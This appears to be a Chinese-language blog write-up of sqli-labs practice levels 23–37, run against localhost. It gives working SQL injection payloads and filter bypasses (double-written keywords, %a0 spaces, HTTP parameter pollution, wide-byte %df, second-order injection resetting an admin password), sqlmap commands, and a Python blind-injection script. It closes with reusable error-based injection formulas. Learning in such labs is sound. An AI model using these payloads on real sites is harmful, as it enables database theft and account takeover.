Yoga7xm's Blog

sqli-lab(23-37)

字数统计: 2.9k阅读时长: 13 min
2018/12/01 Share

0x00 前言

十二月如期而至,今天继续干活。

0x01 Bypass之旅

Less-23

点开进去,发现Please input the ID as parameter with numeric value一行Tip,于是传入id=1,尝试构造?id=1' and '1'='1发现成功绕过。

payload:

http://localhost/sqli/Less-23/?id=-1' union select 1,2,3 and '1' ='1

后面利用方式一直。查看源码发现,过滤了#--

sqlmap 利用:

1
python2.7 sqlmap.py -u http://localhost/sqli/Less-23/?id=-1 --dbs

Less-24(二次注入)

这题好像是二次注入。

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

部分关键源码:

1
2
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);

可以看到,输入的username和password都被转义了,不能用作SQL注入。

但是发现了一个注册用户的页面。

部分关键源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$username=  mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
............
if ($pass==$re_pass)
{
# Building up the query........

$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
mysql_query($sql) or die('Error Creating your user account, : '.mysql_error());
echo "</br>";
echo "<center><img src=../images/Less-24-user-created.jpg><font size='3' color='#FFFF00'>";
//echo "<h1>User Created Successfully</h1>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>Redirecting you to login page in 5 sec................";
echo "<font size='2'>";
echo "</br>If it does not redirect, click the home button on top right</center>";
header('refresh:5, url=index.php');
}

输入的username和password仍然都被转义了,不能用作SQL注入。

登录进来,发现了一个pass_change.php文件,部分关键源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_affected_rows();
echo '<font size="3" color="#FFFF00">';
echo '<center>';
if($row==1)
{
echo "Password successfully updated";

}
else
{
header('Location: failed.php');
//echo 'You tried to be smart, Try harder!!!! :( ';
}

此处$username的值是直接从数据库中查询的。

但是由于向mysql数据库插入带有反斜杠\的字符时,数据库中保存的时候反斜杠\会丢失

所以在此处update可以产生sql注入—-二次注入。

于是回到开始,我们在注册的时候,

输入username=admin'#&password=123&re_password=123&submit=Register

注册成功后,打开数据库查询数据

即使转义了,但是在数据库中还是插入了admin'#

用注册的账密登录进来,然后去修改密码。

current_password=123&password=123&re_password=123&submit=Reset

此时执行的SQL语句为:

1
2
3
UPDATE users SET PASSWORD = '123' where username = 'admin'#' and password = '123';
有效的SQL语句为:
UPDATE users SET PASSWORD = '123' where username = 'admin'

所以此时admin的密码改为123。

Less-25

传入id=1后,进行注入构造尝试,发现and 、or被过滤了,然后尝试双写and或者利用||和&&,发现成功绕过。payload:http://localhost/sqli/Less-25/?id=1' anandd 1=1--+

然后爆库、爆表、爆列名等等,注意的是information里头的or也需要双写绕过:)

1
http://localhost/sqli/Less-25/?id=-1'  oorr updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+

Less-25a

作为25题的改编题,但是是没有加单引号的bool盲注。

简单基础的利用盲注即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
#url = "http://localhost/sqli/Less-25a/?id=1 || ascii(substr((select database()),%s,1))=%d"
#url = "http://localhost/sqli/Less-25a/?id=1 || ascii(substr((select group_concat(table_name) from infoorrmation_schema.TABLES where TABLE_SCHEMA=database()),%s,1))=%d"
#url = "http://localhost/sqli/Less-25a/?id=1 || ascii(substr((select group_concat(column_name) from infoorrmation_schema.columns where table_name='users'),%s,1))=%d"
url = "http://localhost/sqli/Less-25a/?id=1 || ascii(substr((select passwoorrd from users where username='admin'),%s,1))=%d"
result = ""
# 爆库:select database()
# security
# 爆表:select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()
# emails,referers,uagents,users
# 爆字段:select group_concat(column_name) from infoorrmation_schema.columns where table_name='users'
# USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
# 拿数据:select passwoorrd from user where username='admin'
# 1
for i in range(1,100):
for j in range(33,127):
payload = url%(i,j)
s = requests.get(url=payload)
if "Your Login name:Dumb" in s.content:
result += chr(j)
print result
break
print result

Less-26

传入id参数后,进行测试发现空格、/**/、+均被过滤了于是用%a0绕过成功。

payload:

1
http://localhost/sql/Less-26/?id=1'%a0anandd%a0updatexml(1,concat(0x7e,(select%a0group_concat(table_name)%a0from%a0infoorrmation_schema.TABLES%a0where%a0TABLE_SCHEMA=database()),0x7e),1)%a0anandd%a0'1'='1

回显为:XPATH syntax error: '~emails,referers,uagents,users~'

Less-26a

这题类似于25a一样是对26的改编,而且同样是bool型盲注,用%a0代替空格绕过

Less-27

这题打开时,告诉我们uonion and select belong to us所以说他们过滤了union和select,并且还发现他们仍然过滤了空格。尝试seleselectct/!select/均失败,但是大小写混合输入确成功。

于是,爆表payload为:

1
http://localhost/sql/Less-27/?id=1'%a0and%a0updatexml(1,concat(0x7e,(sElect%a0group_concat(table_name)%a0from%a0information_schema.TABLES%a0where%a0TABLE_SCHEMA=database()),0x7e),1)%a0and%a0'1'='1

Less-27a

这题与25a一样,是27关的bool型改编,利用方式大致相同。

Less-28

这题尝试了好久都是空白。查看部分关键源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
//print_r(mysql_error());
echo "</font>";
.......
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}

并且同时过滤了空格、union、select的盲注,但是可以利用上题的payload:

1
http://localhost/sql/Less-28/?id=1')%a0and%a0updatexml(1,concat(0x7e,(sElect%a0group_concat(table_name)%a0from%a0information_schema.TABLES%a0where%a0TABLE_SCHEMA=database()),0x7e),1)%a0and%a0'1'='1

利用方式与盲注类似。

Less-28a

查看源码,部分关键源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
..........
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
//$id= preg_replace('/[--]/',"", $id); //Strip out --.
//$id= preg_replace('/[#]/',"", $id); //Strip out #.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out spaces.
return $id;
}

和上一题一样,同样是单引号+括号的闭合方式,但是这个好像只是过滤了union和select.于是,payload:

1
http://localhost/sqli/Less-28a/?id=1')  and updatexml(1,concat(0x7e,(sElect group_concat(table_name) from information_schema.TABLES where  TABLE_SCHEMA=database()),0x7e),1) and '1'='1

Less-29(HPP漏洞)

直接

1
http://localhost/sqli/Less-29/?id=0' union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

或者

1
2
http://localhost/sqli/Less-29/?id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.TABLES 
where TABLE_SCHEMA=database()),0x7e),1)--+

均能成功…. :) 不知道为啥。。

查看源码。发现了一个login.php,这个文件存在WAF

部分关键源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
$id=$_GET['id'];
//echo $id1;
whitelist($id1);
...........
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);


foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}

}

}

只能用数字……但是这个java_implimentation()函数作用是利用&将传进去的参数进行分割存入数组中,然后遍历数组,然后将id的值返回,然后就结束循环。

此处存在一个逻辑漏洞,假如传入的id的值有多个,但是他只将第一个id的值进行返回。而且,进行处理的是$id1而不是$id

PHP/Apache对相同名字的不同参数处理:

如:GET /foo?id=1&id=2; $id=_GET[‘id’]

结果$id=2

也就是说,假如传入的参数为:?id=1&id=and 1=1,然后经过处理后$qs_array=['id=1','id=and 1=1'],然后foreach循环返回的是id1=1,符合函数whitelist()的要求,然后id=and 1=1完成SQL注入。

于是只需构造

1
http://localhost/sqli/Less-29/login.php?id=1&id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+

即可成功返回XPATH syntax error: '~security~',后面利用的方法类似。

Less-30

这里跟上题类似,只不过使用了双引号进行闭合,于是payload

1
http://localhost/sqli/Less-30/login.php?id=1&id=1" and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+

即可爆出数据库名。

Less-31

与前俩题也一样,只不过使用了双引号+括号进行闭合,于是payload

1
http://localhost/sqli/Less-31/login.php?id=1&id=1") and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+

即可爆出数据库名。

Less-32(宽字节注入)

这里把单双引号给转义了,于是尝试宽字节注入。

宽字节注入: 大家都知道 %df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了

payload:

1
http://localhost/sqli/Less-32/?id= %df' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+

Less-33

利用上一题的payload同样可以成功注入。

1
http://localhost/sqli/Less-33/?id=%df' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+

于是查看源码进行 对比,

32#

1
2
3
4
5
6
7
8
9
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash


return $string;
}

33#

1
2
3
4
5
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}

区别很明显了,一个用了自带的转义函数addslashes(),一个用了自己构造的函数

Less-34

POST表单,于是Burp抓包改包,其实和上面一样,均是宽字节注入。

payload:

1
uname=%df' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+&passwd=123&submit=Submit

Less-35

这题虽然也是宽字节注入,但是由于id本身未进行单引号闭合,于是并不需要单引号。

payload:

1
http://localhost/sqli/Less-35/?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+

Less-36

同样是宽字节注入,于是payload不变

1
http://localhost/sqli/Less-36/?id=1%df' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+

但是此题用了mysql_real_escape_string()函数进行过滤

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

  • \x00
  • \n
  • \r
  • \
  • \x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false

Less-37

POST表单,BP抓包改包,同样是宽字节注入。

1
uname=admin%df' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+&passwd=123&submit=Submit

0x02 后记

经过今天的bypass之旅,发现了几点服务端常用的过滤规则:

  • 正则匹配然后替换为空 ——双写绕过,大小写混合绕过
  • mysql_real_escape_string()函数过滤 ———-宽字节注入、二次注入
  • addslashes()函数过滤
  • 自己构建函数对关键字符进行转义 ———HPP漏洞
  • 对空格的过滤

还有就是updatexml()extractvalue()注入的方便。

公式一:' and (extractvalue(1,concat(0x7e,(SQL查询语句)))) --+

公式二:' or updatexml(1,concat(0x7e,(SQL查询语句),0x7e),1)--+


0x03 Reference

MYSQL注入天书之服务器(两层)架构

Web应用里的HTTP参数污染(HPP)漏洞

CATALOG
  1. 1. 0x00 前言
  2. 2. 0x01 Bypass之旅
    1. 2.1. Less-23
    2. 2.2. Less-24(二次注入)
    3. 2.3. Less-25
    4. 2.4. Less-25a
    5. 2.5. Less-26
    6. 2.6. Less-26a
    7. 2.7. Less-27
    8. 2.8. Less-27a
    9. 2.9. Less-28
    10. 2.10. Less-28a
    11. 2.11. Less-29(HPP漏洞)
    12. 2.12. Less-30
    13. 2.13. Less-31
    14. 2.14. Less-32(宽字节注入)
    15. 2.15. Less-33
    16. 2.16. Less-34
    17. 2.17. Less-35
    18. 2.18. Less-36
    19. 2.19. Less-37
  3. 3. 0x02 后记
  4. 4. 0x03 Reference